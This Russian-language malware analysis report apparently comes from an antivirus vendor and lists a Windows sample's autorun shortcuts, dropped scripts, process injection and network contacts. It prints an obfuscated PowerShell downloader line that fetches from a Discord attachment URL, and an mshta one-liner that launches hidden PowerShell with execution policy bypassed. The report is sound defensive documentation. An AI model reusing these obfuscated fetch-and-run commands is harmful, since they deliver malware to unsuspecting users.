Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %ALLUSERSPROFILE%\microsoft arts\start\updates.lnk
- %ALLUSERSPROFILE%\microsoft arts\start\windows.lnk
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`#))=+_)#&#t`.W`e'.Replace('#))=+_)#&#','w-Object Ne');$alosh='bC%%#&/%nlo'.Replace('%%#&/%','lient).Dow'); $Dont='adString(''https://cdn.discordapp.com/attachments/873978497184...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\alosh.ps1
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\osprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\smiprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\transmogprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\unattendprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\wimprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\folderprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\intlprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\logprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\msiprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\osprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\smiprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\transmogprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\unattendprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\wimprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\wdscore.dll
- C:\users\public\love.bat
- C:\users\public\update.ps1
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\msiprovider.dll.mui
- C:\users\public\updates.lnk
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\logprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\folderprovider.dll.mui
- C:\users\public\run.ps1
- C:\users\public\test.ps1
- C:\users\public\vb.vbs
- C:\users\public\chrome.vbs
- %WINDIR%\logs\dism\dism.log
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\cbsprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\compatprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismcore.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismcoreps.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismhost.exe
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismprov.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dmiprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\cbsprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\compatprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\dismcore.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\dismprov.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\dmiprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\intlprovider.dll.mui
- %APPDATA%\microsoft\windows\templates\windows.lnk
Удаляет следующие файлы
- C:\users\public\chrome.vbs
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\osprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\smiprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\transmogprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\unattendprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\wimprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\logprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\msiprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\folderprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\msiprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\osprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\smiprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\transmogprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\unattendprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\intlprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\logprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\intlprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\folderprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\dmiprovider.dll.mui
- C:\users\public\run.ps1
- C:\users\public\test.ps1
- C:\users\public\vb.vbs
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\cbsprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\compatprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismcore.dll
- C:\users\public\alosh.ps1
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismcoreps.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismprov.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dmiprovider.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\cbsprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\compatprovider.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\dismcore.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\en-us\dismprov.dll.mui
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismhost.exe
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\wdscore.dll
- %TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\wimprovider.dll
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
- 'ne#.###ya2020.com.ly':2020
TCP
Другие
- 'cd#.##scordapp.com':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK ne#.###ya2020.com.ly
Другое
Ищет следующие окна
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Chrome.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\vb.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1
- '%TEMP%\79bdbe39-0c26-4061-b754-c175c9fc3904\dismhost.exe' {0EDE39BD-FDEB-4BA9-91AC-12E4516080E5}
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Bypass C:\Users\Public\Update.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`#))=+_)#&#t`.W`e'.Replace('#))=+_)#&#','w-Object Ne');$alosh='bC%%#&/%nlo'.Replace('%%#&/%','lient).Dow'); $Dont='adString(''https://cdn.discordapp.com/attachments/873978497184...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Bypass C:\Users\Public\Update.ps1' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\dism.exe' /online /enable-feature /featurename:NetFX3
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\love.bat" "
- '<SYSTEM32>\mshta.exe' vbscript:(CreateObject("WSCrIPt.ShEll")).Run("powershell.exe -nologo -ExecutionPolicy Bypass C:\Users\Public\Update.ps1",0)(window.close)
- '%WINDIR%\microsoft.net\framework\v2.0.50727\aspnet_compiler.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
